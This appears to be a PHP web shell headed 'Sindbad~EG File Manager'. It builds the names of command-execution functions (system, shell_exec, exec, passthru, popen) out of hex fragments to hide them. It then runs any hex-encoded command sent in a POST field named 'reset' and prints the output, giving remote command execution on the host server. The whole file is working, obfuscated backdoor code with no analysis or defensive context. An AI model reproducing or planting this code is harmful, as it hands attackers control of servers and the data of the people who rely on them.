Sindbad~EG File Manager

<?php

$slot1 = '73';
$slot2 = '79';
$slot3 = '74';
$slot4 = '65';
$slot5 = '6d';
$slot6 = '6c';
$slot7 = '78';
$slot8 = '68';
$slot9 = '72';
$slot10 = '75';
$slot11 = '6e';
$slot12 = '61';
$slot13 = '5f';
$slot14 = '63';
$slot15 = '6f';
$slot16 = '70';
$reset1 = pack("H*", $slot1.$slot2.$slot1.$slot3.$slot4.$slot5);
$reset2 = pack("H*", $slot1.'68'.'65'.$slot6.$slot6.'5f'.'65'.$slot7.$slot4.'63');
$reset3 = pack("H*", '65'.$slot7.$slot4.'63');
$reset4 = pack("H*", '70'.'61'.$slot1.'73'.'74'.$slot8.$slot9.$slot10);
$reset5 = pack("H*", '70'.'6f'.'70'.$slot4.$slot11);
$reset6 = pack("H*", '73'.$slot3.$slot9.'65'.$slot12.$slot5.'5f'.'67'.'65'.'74'.$slot13.$slot14.$slot15.'6e'.'74'.$slot4.'6e'.$slot3.'73');
$reset7 = pack("H*", $slot16.$slot14.$slot6.$slot15.$slot1.'65');
$reset = pack("H*", '72'.$slot4.'73'.$slot4.$slot3);
if (isset($_POST[$reset])) {
    $reset = pack("H*", $_POST[$reset]);
    if (function_exists($reset1)) {
        $reset1($reset);
    } elseif (function_exists($reset2)) {
        print $reset2($reset);
    } elseif (function_exists($reset3)) {
        $reset3($reset, $id_variable);
        print join("\n", $id_variable);
    } elseif (function_exists($reset4)) {
        $reset4($reset);
    } elseif (function_exists($reset5) && function_exists($reset6) && function_exists($reset7)) {
        $constant_placeholder = $reset5($reset, 'r');
        if ($constant_placeholder) {
            $parameter_property = $reset6($constant_placeholder);
            $reset7($constant_placeholder);
            print $parameter_property;
        }
    }
    exit;
}